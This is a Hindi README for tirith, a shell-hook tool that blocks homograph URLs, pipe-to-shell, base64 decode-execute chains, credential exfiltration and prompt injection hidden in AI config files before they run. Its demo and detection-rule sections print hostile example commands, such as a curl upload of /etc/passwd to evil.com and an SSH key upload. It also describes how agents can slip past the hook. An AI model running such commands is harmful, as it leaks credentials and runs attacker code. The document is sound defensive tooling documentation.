
डेवलपर्स और AI एजेंटों के लिए टर्मिनल सुरक्षा। निष्पादन से पहले होमोग्राफ़ URL, पाइप-टू-शेल, ANSI इंजेक्शन, अस्पष्ट पेलोड, डेटा एक्सफ़िल्ट्रेशन, और दुर्भावनापूर्ण AI कौशल/कॉन्फ़िग को रोकता है।
आपका ब्राउज़र इसे पकड़ लेगा। आपका टर्मिनल नहीं पकड़ेगा।
Website | Docs | SKILL.md | Changelog
स्वतंत्र ओपन-सोर्स प्रोजेक्ट, जिसकी होस्टिंग Vercel ओपन सोर्स प्रोग्राम (स्प्रिंग 2026 कोहोर्ट) द्वारा समर्थित है।
क्या आप अंतर देख सकते हैं?``` curl -sSL https://install.example-cli.dev | bash # safe curl -sSL https://іnstall.example-clі.dev | bash # compromised
आप नहीं कर सकते। आपका टर्मिनल भी नहीं कर सकता। दोनों `і` अक्षर सिरिलिक (U+0456) हैं, लैटिन `i` नहीं। दूसरा URL हमलावर के सर्वर पर जाता है। स्क्रिप्ट आपके ध्यान में आने से पहले निष्पादित हो जाती है।
ब्राउज़रों ने वर्षों पहले इसे हल कर लिया था। टर्मिनल अभी भी बिना किसी प्रश्न के यूनिकोड, ANSI एस्केप और अदृश्य वर्णों को प्रस्तुत करते हैं। AI एजेंट शेल कमांड चलाते हैं और पैकेज इंस्टॉल करते हैं, बिना यह जाँचे कि अंदर क्या है।
**तिरिथ द्वार पर खड़ा है।** यह कमांड, पेस्ट की गई सामग्री और स्कैन की गई फ़ाइलों को होमोग्राफ URL, अस्पष्ट पेलोड, क्रेडेंशियल एक्सफ़िल्ट्रेशन, दुर्भावनापूर्ण AI कौशल/कॉन्फ़िग, और एक हस्ताक्षरित खतरा खुफिया डेटाबेस से ज्ञात-खराब पैकेज/डोमेन/IP के लिए इंटरसेप्ट करता है, इससे पहले कि वे निष्पादित हों।```bash
brew install tirith
फिर अपने shell profile में सक्रिय करें:```bash
eval "$(tirith init --shell zsh)"
eval "$(tirith init --shell bash)"
tirith init --shell fish | source
> [!TIP]
> `eval "$(tirith init)"` स्वचालित रूप से आपके वर्तमान शेल का पता लगाता है (यह पैरेंट प्रक्रिया का निरीक्षण करता है और यदि आवश्यक हो तो `$SHELL` पर वापस आता है)। स्पष्ट `--shell` फ़्लैग केवल तब आवश्यक होता है जब आप पता लगाने को ओवरराइड करना चाहते हैं।
बस इतना ही। अब आपके द्वारा चलाया जाने वाला हर कमांड सुरक्षित है। साफ इनपुट पर शून्य घर्षण। सब-मिलीसेकंड ओवरहेड। आप भूल जाते हैं कि यह है, जब तक कि यह आपको बचा न ले।
यह [npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages), और [more](#install) के माध्यम से भी उपलब्ध है।
---
## इसे काम करते देखें
**होमोग्राफ हमला, निष्पादन से पहले अवरुद्ध:**```
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Bypass: prefix your command with TIRITH=0 (applies to that command only)
कमांड कभी निष्पादित नहीं होता।
Pipe-to-shell with clean URL, warned, not blocked:``` $ curl -fsSL https://get.docker.com | sh
tirith: WARNING [MEDIUM] pipe_to_interpreter, Download piped to interpreter Consider downloading first and reviewing.
चेतावनी stderr पर प्रिंट होती है। कमांड फिर भी चलता है।
**Base64 decode-execute chain, अवरुद्ध:**```
$ echo payload | base64 -d | bash
tirith: BLOCKED
[HIGH] base64_decode_execute, Base64 decode piped to interpreter
[HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
sudo/env रैपर और PowerShell -EncodedCommand के माध्यम से डिकोड चेन को भी पकड़ता है।
क्रेडेंशियल एक्सफ़िलट्रेशन, अवरुद्ध:``` $ curl -d @/etc/passwd https://evil.com/collect
tirith: BLOCKED [HIGH] data_exfiltration, Data exfiltration via curl upload curl command uploads sensitive data to a remote server
सभी curl/wget अपलोड फ़्लैग्स, पर्यावरण चर (`$AWS_SECRET_ACCESS_KEY`), और कमांड सब्स्टिट्यूशन को शामिल करता है।
**दुर्भावनापूर्ण स्किल फ़ाइल, स्कैन पर पकड़ा गया:**```
$ tirith scan evil_skill.py
tirith scan: evil_skill.py, 3 finding(s)
[MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
[MEDIUM] obfuscated_payload, Long base64 string decoded and executed
[MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
Scans JS/Python फ़ाइलों में अस्पष्ट पेलोड, डायनेमिक कोड निष्पादन, और गुप्त एक्सफ़िल्ट्रेशन पैटर्न की स्कैन करता है।
सामान्य कमांड, अदृश्य:``` $ git status $ ls -la $ docker compose up -d
कुछ नहीं। शून्य आउटपुट। आप भूल गए कि tirith चल रहा है।
---
## यह क्या पकड़ता है
**34 श्रेणियों में 221 डिटेक्शन नियम।**
| श्रेणी | यह क्या रोकता है |
|----------|--------------|
| **होमोग्राफ हमले** | होस्टनाम में सिरिलिक/ग्रीक समान दिखने वाले, punycode डोमेन, मिश्रित-लिपि लेबल, समान दिखने वाले TLD, भ्रमित करने वाले डोमेन, टेक्स्ट-स्तरीय भ्रमित करने वाली पहचान (गणित अल्फ़ान्यूमेरिक, एक ही शब्द में मिश्रित लिपि) |
| **टर्मिनल इंजेक्शन** | ANSI एस्केप सीक्वेंस, bidi ओवरराइड, शून्य-चौड़ाई वाले वर्ण, यूनिकोड टैग, अदृश्य गणित ऑपरेटर, वेरिएशन सेलेक्टर, हंगुल फिलर |
| **स्टेग्नोग्राफी बचाव** | अदृश्य व्हाइटस्पेस एन्कोडिंग (यूनिकोड स्पेस के 12 प्रकार), मंगोलियाई स्वर विभाजक, हंगुल फिलर वर्ण, गणित अल्फ़ान्यूमेरिक प्रतिस्थापन, st3gg-शैली टेक्स्ट स्टेग्नोग्राफी के खिलाफ बचाव |
| **पाइप-टू-शेल** | `curl \| bash`, `wget \| sh`, `httpie \| sh`, `xh \| sh`, `python <(curl ...)`, `eval $(wget ...)`, सभी स्रोत-से-सिंक पैटर्न |
| **Base64 डीकोड-एक्ज़ीक्यूट** | `base64 -d \| bash`, `python -c "exec(b64decode(...))"`, `powershell -EncodedCommand`, sudo/env रैपर के माध्यम से डीकोड चेन |
| **डेटा एक्सफ़िलट्रेशन** | `curl -d @/etc/passwd`, `curl -T ~/.ssh/id_rsa`, `wget --post-file`, एनवी वेरिएबल अपलोड (`$AWS_SECRET_ACCESS_KEY`), कमांड प्रतिस्थापन एक्सफ़िल |
| **कोड फ़ाइल स्कैनिंग** | अस्पष्ट पेलोड (`eval(atob(...))`), डायनामिक कोड निष्पादन (`exec(b64decode(...))`), JS/Python फ़ाइलों में `fetch`/`requests.post` के माध्यम से गुप्त एक्सफ़िलट्रेशन |
| **क्रेडेंशियल डिटेक्शन** | AWS कुंजी, GitHub PAT, Stripe/Slack/SendGrid/Anthropic/GCP/npm टोकन, प्राइवेट की ब्लॉक, साथ ही एन्ट्रॉपी-आधारित सामान्य गुप्त पहचान |
| **पोस्ट-कॉम्प्रोमाइज व्यवहार** | प्रोसेस मेमोरी स्क्रैपिंग (`/proc/*/mem`), डॉकर रिमोट विशेषाधिकार वृद्धि, क्रेडेंशियल फ़ाइल स्वीप, TeamPCP और UNC1069 पोस्ट-कॉम्प्रोमाइज टूलिंग के विरुद्ध कैलिब्रेटेड |
| **कमांड सुरक्षा** | डॉटफ़ाइल ओवरराइट, संवेदनशील पथों पर आर्काइव निष्कर्षण, क्लाउड मेटाडेटा एंडपॉइंट तक पहुंच, प्राइवेट नेटवर्क तक पहुंच |
| **असुरक्षित परिवहन** | प्लेन HTTP शेल में पाइप, `curl -k`, अक्षम TLS सत्यापन, गंतव्य छुपाने वाले छोटे URL |
| **पर्यावरण** | प्रॉक्सी हाइजैकिंग, संवेदनशील env निर्यात, env के माध्यम से कोड इंजेक्शन, इंटरप्रेटर हाइजैक, शेल इंजेक्शन env |
| **कॉन्फ़िग फ़ाइल सुरक्षा** | कॉन्फ़िग इंजेक्शन, संदिग्ध संकेतक, कॉन्फ़िग में गैर-ASCII/अदृश्य यूनिकोड, MCP सर्वर सुरक्षा (असुरक्षित/अविश्वसनीय/डुप्लिकेट/अनुमतिपूर्ण) |
| **इकोसिस्टम खतरे** | Git क्लोन टाइपोस्क्वाट, अविश्वसनीय डॉकर रजिस्ट्री, pip/npm URL इंस्टॉल, web3 RPC एंडपॉइंट, vet-not-configured |
| **इंस्टॉल-कमांड सुरक्षा** | पाइप किए गए डाउनलोड से APT रिपॉजिटरी जोड़े गए, `[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never` (अक्षम हस्ताक्षर जांच), `kubectl apply -f` कच्चे/छोटे रिमोट मैनिफेस्ट के विरुद्ध, अविश्वसनीय रिपॉजिटरी से Helm चार्ट, अविश्वसनीय रिमोट स्रोतों से Terraform मॉड्यूल, मनमानी URL से `brew install`/`tap` |
| **पथ विश्लेषण** | गैर-ASCII पथ, पथों में होमोग्लिफ़, डबल-एन्कोडिंग |
| **प्रस्तुत सामग्री** | छिपी हुई CSS/रंग सामग्री, छिपे हुए HTML गुण, टिप्पणी सामग्री विश्लेषण (हाई पर प्रॉम्प्ट इंजेक्शन, मीडियम पर विनाशकारी कमांड) |
| **क्लोकिंग डिटेक्शन** | सर्वर-साइड क्लोकिंग (बॉट बनाम ब्राउज़र), क्लिपबोर्ड छिपी हुई सामग्री, PDF छिपा हुआ टेक्स्ट |
| **विंडोज / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`, विंडोज डिफ़ेंडर अपवाद (`Add-MpPreference -Exclusion*`), इनलाइन `iex (iwr ...)` डाउनलोड-निष्पादित |
| **टर्मिनल आउटपुट सुरक्षा** | OSC 52 क्लिपबोर्ड लेखन, नकली प्रॉम्प्ट, OSC 8 हाइपरलिंक और शीर्षक / स्क्रीन-क्लियर हेरफेर, कमांड या MCP टूल आउटपुट के अंदर प्रॉम्प्ट इंजेक्शन (कच्चे और डीओबफ़स्केटेड दोनों स्कैन किए गए, ताकि अदृश्य-वर्ण, भ्रमित करने वाले, स्पेस-आउट, लीटस्पीक, और छोटे base64 / हेक्स एवेज़न भी पकड़े जाएं), और आउटपुट डेटा एक्सफ़िलट्रेशन (बीकन URL या "एक रहस्य पढ़ें और फिर इसे भेजें" निर्देश) |
| **परिचालन संदर्भ** | लेबल-प्रोड क्लाउड / k8s संदर्भों और SSH होस्टों के विरुद्ध विनाशकारी कमांड, बिना मिलान सहेजे गए प्लान के Terraform / Pulumi / OpenTofu `apply`, जोखिमपूर्ण sudo एस्केलेशन, विशेषाधिकार प्राप्त `docker run` |
| **वर्कस्टेशन और स्थायित्व** | ढीली-अनुमति वाली क्रेडेंशियल फ़ाइलें और सादा पाठ टोकन (`~/.ssh`, `~/.aws`, `.npmrc`), स्थायित्व पकड़ (शेल rc, `authorized_keys`, क्रॉन्टैब, LaunchAgents, git `core.hooksPath`), PATH-हाइजैक ऑर्डरिंग, एक्ज़ीक्यूटेबल प्रोवेनेंस, जोखिमपूर्ण उपनाम, और संवेदनशील env-var जीवनचक्र |
| **विस्फोट त्रिज्या और सहसंबंध** | वे डिलीट जो रिपॉजिटरी से बाहर निकलते हैं, सामूहिक डिलीट, जोखिमपूर्ण स्रोतों से डाउनलोड की गई फ़ाइलों को निष्पादित करना, और सत्र श्रृंखला जैसे गुप्त-लिखें फिर नेटवर्क या डिलीट फिर `git push --force` |
| **विश्वास, प्रमाणन और उद्गम** | हस्ताक्षरित कमांड-कार्ड बेमेल, कैनरी हनीटोकन स्पर्श, पेस्ट स्रोत-होस्ट बेमेल, कॉलर-ऑरिजिन (एजेंट) नीति अस्वीकृति, MCP लॉकफ़ाइल बहाव, और ज्ञात-सुरक्षित स्नैपशॉट के विरुद्ध AI-कॉन्फ़िग बहाव |
---
## tirith किस चीज़ से सुरक्षा नहीं करता
Tirith कमांड, पेस्ट किए गए टेक्स्ट और फ़ाइलों की **संरचना** का उनके निष्पादन से पहले
विश्लेषण करता है। यह एक प्री-एक्ज़ीक्यूशन गेट है, कोई रनटाइम सुरक्षा नहीं, और
निम्नलिखित को कवर नहीं करता:
- **रनटाइम सैंडबॉक्सिंग:** tirith चेतावनी देता है या ब्लॉक करता है; यह किसी कमांड को एक बार चलने के बाद सैंडबॉक्स या अलग नहीं करता।
- **पोस्ट-एक्ज़ीक्यूशन नेटवर्क मॉनिटरिंग:** प्रक्रिया लॉन्च के बाद नेटवर्क पर क्या करती है, यह दायरे से बाहर है।
- **मैलवेयर / पेलोड डिटेक्शन:** tirith संरचना का विश्लेषण करता है, पेलोड व्यवहार का नहीं। यह कोई एंटीवायरस नहीं है और डिटोनेट या सिग्नेचर-मैच नहीं करता।
(`tirith run` डाउनलोड की गई स्क्रिप्ट की संरचना की जाँच करता है, फिर भी मैलवेयर विश्लेषण नहीं।)
- **एक विशेषाधिकार प्राप्त रूट/एडमिन हमलावर:** जो कोई पहले से रूट या एडमिन है, वह tirith को आसानी से बायपास कर सकता है। यह छल किए गए इनपुट के खिलाफ बचाव करता है, किसी ऐसे हमलावर के खिलाफ नहीं जो पहले से मशीन का मालिक है।
- **एंटी-डीबगिंग / एंटी-टैम्परिंग:** tirith रिवर्स इंजीनियरिंग का विरोध नहीं करता या स्थानीय हमलावर से अपने बाइनरी की रक्षा नहीं करता।
पूर्ण खतरा मॉडल और स्पष्ट गैर-लक्ष्यों के लिए [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/HEAD/docs/threat-model.md) देखें।
---
## ज्ञात सीमाएँ
- **शेल-हुक नाजुकता:** सुरक्षा एक शेल हुक के स्थापित और सक्रिय रहने पर निर्भर करती है। हुक शेल, शेल संस्करणों, प्रॉम्प्ट फ्रेमवर्क और इतिहास उपकरणों में टूट या चुपचाप खराब हो सकते हैं। लाइव स्थिति की जाँच करने और केवल-चेतावनी गिरावट पर नज़र रखने के लिए `tirith doctor` चलाएँ।
- **यूनिक्स-केवल सुविधाएँ:** डेमॉन मोड, `tirith setup`, `tirith run` और `tirith fetch` आज केवल Unix पर उपलब्ध हैं।
- **पैकेज-नाम निष्कर्षण दायरा:** भाषा इकोसिस्टम (pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle) को कवर करता है, डिस्ट्रो पैकेज मैनेजर (`apt`, `dnf`, `yum`, `pacman`) को नहीं।
- **AI-एजेंट चेतावनी:** शेल-हुक इंटरसेप्शन केवल उन कमांडों की रक्षा करता है जो एक हुक किए गए इंटरैक्टिव शेल से गुज़रते हैं। एक एजेंट जो एक गैर-इंटरैक्टिव शेल स्पॉन करता है, सीधे `exec` कॉल करता है, या बिना हुक लोड किए चलता है, कवर नहीं होता। MCP सुरक्षा सलाहकार है (एजेंट को tirith MCP टूल्स कॉल करना चाहिए), लागू नहीं है।
---
## खतरा खुफिया जानकारी
Tirith पैकेज, होस्टनाम और IP प्रतिष्ठा के लिए एक हस्ताक्षरित स्थानीय खतरा डेटाबेस भेजता है। जब कोई शेल हुक या `tirith check` किसी पैकेज इंस्टॉल या संदिग्ध बुनियादी ढाँचे के संदर्भ को देखता है, तो वह कमांड निष्पादित होने से पहले उस इनपुट को डेटाबेस से मिलाता है, बजाय केवल स्थिर अनुमानों पर निर्भर रहने के।
**हस्ताक्षरित DB** (CI द्वारा दैनिक निर्मित, डाउनलोड और लोड पर सत्यापित):
- [OpenSSF Malicious Packages](https://github.com/ossf/malicious-packages) और [Datadog Security Labs](https://github.com/DataDog/malicious-software-packages-dataset) से ज्ञात दुर्भावनापूर्ण पैकेज
- [Feodo Tracker](https://feodotracker.abuse.ch/) (abuse.ch) से दुर्भावनापूर्ण IP बुनियादी ढाँचा
- [ecosyste.ms](https://ecosyste.ms/) से पुष्टि किए गए टाइपोस्क्वाट और लोकप्रिय-पैकेज आधार रेखाएँ
- रनटाइम सलाहकार सहसंबंध के लिए [CISA ज्ञात शोषित कमजोरियाँ](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) सूची
**वैकल्पिक पूरक फ़ीड** (उपयोगकर्ता-स्थानीय ओवरले):
- [URLhaus](https://urlhaus.abuse.ch/) और [ThreatFox](https://threatfox.abuse.ch/) एक abuse.ch प्रमाणीकरण कुंजी के माध्यम से
- [PhishTank](https://phishtank.org/) (Cisco Talos) और [Phishing Army](https://phishing.army/) ब्लॉकलिस्ट
- [Tor Project](https://www.torproject.org/) से Tor एग्ज़िट नोड सूची
**वैकल्पिक लाइव संवर्धन** `tirith check` और डेमॉन मोड के दौरान:
- [OSV.dev](https://osv.dev/) सलाहकार लुकअप (Google OSS)
- [deps.dev](https://deps.dev/) पैकेज स्वास्थ्य संकेत (Google OSS) और [ecosyste.ms](https://ecosyste.ms/) रखरखावकर्ता डेटा
- आपकी अपनी API कुंजी के साथ [Google Safe Browsing](https://safebrowsing.google.com/) URL प्रतिष्ठा```bash
tirith threat-db update # download + verify the signed DB
tirith threat-db status # age, signature, version, entry counts
tirith threat-db health # install, signature, staleness, counts
tirith threat-db sources # list every feed the DB is built from
tirith threat-db explain react # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01 # count changes since a version/date
डिफ़ॉल्ट रूप से, शेल हुक और tirith check हर 24 घंटे में एक सस्ती बैकग्राउंड रिफ्रेश जांच ट्रिगर करते हैं। डेमॉन मोड उसी एनरिचमेंट पथ को बैकग्राउंड में गर्म रखता है।
threat-db explain एक डोमेन, एक पैकेज नाम (name, ecosystem:name, या name@version), या एक IPv4 पता स्वीकार करता है। बाइनरी प्रति-प्रविष्टि इतिहास बरकरार नहीं रखती, इसलिए threat-db diff स्नैपशॉट्स के बीच श्रेणी और प्रति-स्रोत गणना डेल्टा रिपोर्ट करता है, न कि बदली गई सटीक प्रविष्टियाँ। प्रत्येक threat-db कमांड --format json लेता है; threatdb एक उपनाम है।
tirith package risk <ecosystem> <name> एक पैकेज के आपूर्ति-श्रृंखला/रखरखाव जोखिम को उसी तरह स्कोर करता है जैसे tirith score एक URL को स्कोर करता है, एक निर्धारित, पूरी तरह से व्याख्येय नामित कारकों का योग, कोई मॉडल नहीं और कोई सीखे गए वजन नहीं। tirith package explain <ecosystem> <name> फैक्टर-दर-फैक्टर व्युत्पत्ति जोड़ता है; दोनों --format json लेते हैं।```bash
tirith package risk npm react # 0/100, a known-popular package
tirith package risk npm reqeusts # high, one edit from a popular name
tirith package explain pypi flask # factor-by-factor derivation
tirith package risk npm left-pad --path ./node_modules/left-pad
tirith package risk --online npm react # also consult the registry API
**डिफ़ॉल्ट रूप से ऑफ़लाइन।** बिना किसी फ़्लैग के, हर सिग्नल स्थानीय होता है, नेटवर्क कॉल के बिना: (1) **नाम बनाम लोकप्रिय पैकेज**: ज्ञात-लोकप्रिय, अज्ञात, या लोकप्रिय नाम का एक-एडिट नियर-मिस (क्लासिक टाइपोस्क्वैट/स्लॉपस्क्वैट आकार), स्थानीय ख़तरा डेटाबेस के `popular` सेट से; (2) **ज्ञात दुर्भावनापूर्ण टाइपोस्क्वैट**: ख़तरा DB के `typosquat` इंडेक्स में एक सटीक मिलान; (3) **इंस्टॉल / लाइफसाइकल स्क्रिप्ट** और (4) **बंडल किए गए बाइनरी ब्लॉब**, जिनका पता केवल तब चलता है जब पैकेज सामग्री स्थानीय रूप से उपलब्ध हो (`node_modules` / `site-packages` के अंतर्गत, या `--path` के माध्यम से)। tirith पैकेज को **कभी डाउनलोड नहीं करता**।
**`--online` रजिस्ट्री प्रोवेनेंस जोड़ता है।** यह उसी *फैक्टर-सम* मॉडल में छह और कारकों के लिए पैकेज की रजिस्ट्री (npm, PyPI, या crates.io) से परामर्श करता है: पैकेज/संस्करण आयु, बिना मालिकों वाला एक स्थापित पैकेज, एक असामान्य संस्करण स्पाइक, बहुत कम डाउनलोड, एक लापता स्रोत रेपो, और yanked/ deprecated स्थिति। यह एकमात्र पथ है जो नेटवर्क को छूता है (कभी `check` हॉट पथ नहीं); `--offline` / `TIRITH_OFFLINE` परवाह किए बिना ऑफ़लाइन बल देते हैं। विफलताएं एक ईमानदार `api signals: unavailable` के साथ ऑफ़लाइन स्कोर पर वापस आ जाती हैं, और प्रतिक्रियाओं को TTL के साथ कैश किया जाता है ताकि बार-बार चलाने से रजिस्ट्रियों पर हथौड़ा न पड़े।
स्कोर सलाहकारी और स्वतंत्र है: `package risk` एक डिटेक्शन नियम नहीं है और कोई फैसला, एग्ज़िट कोड, या ऑडिट लॉग नहीं बदलता है।
### इकोसिस्टम स्कैन, सप्लाई-चेन फायरवॉल
`tirith ecosystem scan [path]` `package risk` का डायरेक्टरी-स्तरीय साथी है। यह एक प्रोजेक्ट को चलता है, हर डिपेंडेंसी मेनिफ़ेस्ट की खोज करता है जिसे यह समझता है: npm (`package.json`, `package-lock.json`), Python (`requirements*.txt`, `pyproject.toml`), Rust (`Cargo.toml`), Go (`go.mod`), Ruby (`Gemfile`), और **हर घोषित डिपेंडेंसी** को उसी निर्धारणात्मक `package_risk` फैक्टर इंजन से स्कोर करता है।```bash
tirith ecosystem scan # scan the current project
tirith ecosystem scan ./my-project # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./ # full machine-readable report
यह स्लोप्स्क्वाटिंग का पता लगाने को शामिल करता है। स्लोप्स्क्वाटिंग एक प्रतीत होने वाले-लेकिन-नकली नाम का पंजीकरण है जिसे LLMs एक निर्भरता के रूप में भ्रमित करते हैं। ecosystem scan तभी इसे चिह्नित करता है जब तीनों शर्तें पूरी हों: नाम ज्ञात-वास्तविक या लोकप्रिय नहीं है, यह AI भ्रम की तरह आकारित है (एक भाषा उपसर्ग जैसे python- / node- और वर्णनात्मक टोकन, सामान्य फिलर का ढेर जैसे helper / utils / client, या असामान्य रूप से लंबा नाम), और यह किसी वास्तविक लोकप्रिय नाम के पास स्थित है (एक-संपादन निकट-चूक, या यह एक लोकप्रिय नाम को एक शब्द के रूप में एम्बेड करता है)। तीनों की आवश्यकता झूठी सकारात्मकता को कम रखती है: बिना किसी लोकप्रिय एंकर के एक ईमानदार data-utils ट्रिगर नहीं होता है।
डिफ़ॉल्ट रूप से ऑफलाइन, वैकल्पिक --online. नाम और टाइपोस्क्वाट सिग्नल स्थानीय खतरा डेटाबेस से आते हैं; --online रजिस्ट्री प्रोवेनेंस जोड़ता है, बिल्कुल package risk --online की तरह गेटेड और डीग्रेडेड, कभी भी check हॉट पथ पर नहीं। निष्कर्ष tirith के सामान्य Verdict / Finding मॉडल के माध्यम से प्रवाहित होते हैं: व्याख्या योग्य (tirith explain --rule threat_suspicious_package), ऑडिट-लॉग, और नीति अनुमति सूची का सम्मान करते हुए (एक अनुमति प्राप्त पैकेज, केवल नाम या ecosystem:name द्वारा, दबा दिया जाता है)। एग्जिट कोड tirith scan से मेल खाते हैं: 1 ब्लॉकिंग निष्कर्ष के लिए, 2 सलाहकार के लिए, 0 साफ होने पर।
यह ज्ञात-दुर्भावनापूर्ण पैकेजों, पुष्टि किए गए टाइपोस्क्वाट्स, स्लोप्स्क्वाटेड पैकेज नामों, दुर्भावनापूर्ण डाउनलोड बुनियादी ढांचे, और लाइव OSV / CISA KEV सलाहकार डेटा वाले पैकेजों को पकड़ने में मदद करता है।
तिरिथ के लिए बनाए गए आक्रमण परिवार (उदाहरणात्मक, वर्तमान कोड द्वारा पकड़े गए दावे के रूप में नहीं):
पैकेज-नाम निष्कर्षण वर्तमान में भाषा पारिस्थितिकी तंत्र (pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle) को कवर करता है, न कि डिस्ट्रो-स्तरीय पैकेज प्रबंधकों (apt / dnf / yum / pacman) को। यही कारण है कि xz-utils, जो Linux डिस्ट्रो टारबॉल के माध्यम से प्रवेश किया, हेडलाइन घटना होने के बावजूद तालिका में नहीं है।
Tirith AI कोडिंग एजेंटों को हर परत पर सुरक्षित करता है, उनके द्वारा पढ़े गए कॉन्फ़िग से लेकर वे कमांड तक जिन्हें वे निष्पादित करते हैं।
जब AI एजेंट शेल कमांड निष्पादित करते हैं (Claude Code, Codex, Cursor, आदि), तो tirith के शेल हुक प्रत्येक कमांड को चलने से पहले इंटरसेप्ट करते हैं। कोई एजेंट-साइड कॉन्फ़िगरेशन आवश्यक नहीं, यदि हुक शेल में सक्रिय है, तो सभी कमांड सुरक्षित हैं:
एक-कमांड कॉन्फ़िगरेशन के लिए tirith setup <tool> का उपयोग करें (देखें AI Agent Integrations).
tirith mcp lock एक रिपॉजिटरी द्वारा घोषित प्रत्येक MCP सर्वर को कैप्चर करता है, .mcp.json / mcp.json / mcp_settings.json और IDE कॉन्फ़िग वेरिएंट (.vscode/, .cursor/, .windsurf/, .cline/, .amazonq/, .continue/, .kiro/) में, एक निर्धारक लॉकफ़ाइल .tirith/mcp.lock पर। प्रत्येक सर्वर को उसके ट्रांसपोर्ट (एक दूरस्थ URL, या एक स्थानीय कमांड + तर्क), घोषित उपकरण, और एक सामग्री हैश के साथ रिकॉर्ड किया जाता है; सर्वरों को नाम के अनुसार क्रमबद्ध किया जाता है ताकि लॉकफ़ाइल डिफ-अनुकूल हो। खोज केवल रिपॉजिटरी-स्थानीय है और किसी नेटवर्क को स्पर्श नहीं करती है। (tirith mcp एक अलग कमांड समूह है tirith mcp-server से, जो tirith को MCP सर्वर के रूप में चलाता है।)
tirith mcp verify गेटिंग साथी है: यह प्रतिबद्ध लॉकफ़ाइल के खिलाफ वर्तमान इन्वेंट्री का पुनर्निर्माण करता है और बहाव पर 1 से बाहर निकलता है (0 मिलान, 2 उपयोग त्रुटियों पर जैसे लॉकफ़ाइल गायब)। tirith mcp diff उसी बहाव की सूचनात्मक रूप से रिपोर्ट करता है (हमेशा 0 से बाहर निकलता है, केवल उपयोग त्रुटियों पर 2, ताकि उपभोक्ता "कोई बहाव नहीं" और "जाँच नहीं कर सका" के बीच अंतर कर सके)। बहाव tirith scan के माध्यम से mcp_server_drift (मध्यम) के रूप में भी सतह पर आता है, ताकि एक प्री-कमिट हुक या CI एक MCP-सतह परिवर्तन को उसी तरह पकड़े जैसे वह एक अन-पिन की गई क्रिया को पकड़ता है। verify / diff कभी भी env मान या URL उपयोगकर्ता जानकारी प्रिंट नहीं करते हैं, केवल बदली हुई चीज़ों के नाम।
दो नीति फ़ील्ड स्वीकार्यता को नियंत्रित करते हैं: scan.trusted_mcp_servers एक सर्वर के कॉन्फ़िग निष्कर्षों को दबाता है और उसके बहाव को शांत करता है, और scan.mcp_allowed_tools उन सटीक उपकरणों की घोषणा करता है जिन्हें प्रत्येक सर्वर उजागर कर सकता है (उस सेट के बाहर का एक उपकरण एक उच्च mcp_server_drift निष्कर्ष सतह पर लाता है, और ऐसे उपकरण को जोड़ने वाला बहाव मध्यम को उच्च में अपग्रेड करता है)। tirith mcp policy init दोनों ब्लॉकों को वर्तमान लॉकफ़ाइल से .tirith/mcp-policy.yaml.example में मचान बनाता है, प्रत्येक प्रविष्टि टिप्पणी की गई है ताकि आयात कभी भी चुपचाप विश्वास को विस्तृत न करे।
tirith scan AI कॉन्फ़िग फ़ाइलों में प्रॉम्प्ट इंजेक्शन और छिपे पेलोड का पता लगाता है। यह 50+ ज्ञात AI कॉन्फ़िग फ़ाइल पैटर्न को प्राथमिकता देता है और स्कैन करता है:
.cursorrules, .windsurfrules, .clinerules, CLAUDE.md, copilot-instructions.md.claude/ settings, agents, skills, plugins, rules.cursor/, .vscode/, .windsurf/, .cline/, .continue/, .roo/, .codex/ configsmcp.json, .mcp.json, यह कॉन्फ़िग में क्या पकड़ता है:
tirith scan उन फ़ाइलों का भी निरीक्षण करता है जो एक रिपॉजिटरी अपने स्वयं के बिल्ड और डिप्लॉय पाइपलाइन का वर्णन करने के लिए चेक इन करती है। यह खतरनाक पैटर्न का पता लगाता है, उपकरण का नहीं: एक SHA-पिन की गई कार्रवाई, एक डाइजेस्ट-पिन की गई छवि, एक स्थानीय Terraform मॉड्यूल, और एक सामान्य package.json साफ रहता है।
यह CI/बुनियादी ढांचे की फ़ाइलों में क्या पकड़ता है:
.github/workflows/*.yml), एक क्रिया uses: संदर्भ एक परिवर्तनीय रेफ़ (@v3, @main) पर पिन किया गया, एक कमिट SHA के बजाय; pull_request_target ट्रिगर; एक run: चरण में curl … | bash पाइप-टू-शेल; एक हमलावर-नियंत्रणीय ${{ github.event.* }} मान run: शेल चरण में अंतर्निहित (स्क्रिप्ट इंजेक्शन)FROM आधार छवि परिवर्तनीय latest टैग (या कोई टैग नहीं) पर बिना @sha256: डाइजेस्ट पिन के*.tf), एक module ब्लॉक एक दूरस्थ/अविश्वसनीय स्रोत से लिया गया, स्थानीय पथ या Terraform Registry के बजायतीन अंतर्निहित --profile मान स्कैन को ट्यून करते हैं: ci-hardening (हर जाँच पूरी ताकत पर, high पर विफल), ai-agent-repo (इंजेक्शन निष्कर्ष रखता है, कम-मूल्य वाली पिनिंग-स्वच्छता शोर छोड़ता है), और oss-maintainer (किसी परिवर्तन की समीक्षा करते समय योगदानकर्ता-नियंत्रणीय जोखिम पर जोर देता है)।```bash
tirith scan ./ # scan the repo
tirith scan --profile ci-hardening ./ # tune for CI/CD hardening
tirith scan --format sarif ./ > out.sarif
### Hidden content detection
HTML, Markdown और PDF में मनुष्यों के लिए अदृश्य लेकिन AI के लिए पठनीय सामग्री का पता लगाता है:
- **CSS छिपाना**: `display:none`, `visibility:hidden`, `opacity:0`, `font-size:0`, ऑफ-स्क्रीन पोजिशनिंग
- **रंग छिपाना**: सफेद-पर-सफेद टेक्स्ट, समान अग्रभूमि/पृष्ठभूमि (कंट्रास्ट अनुपात < 1.5:1)
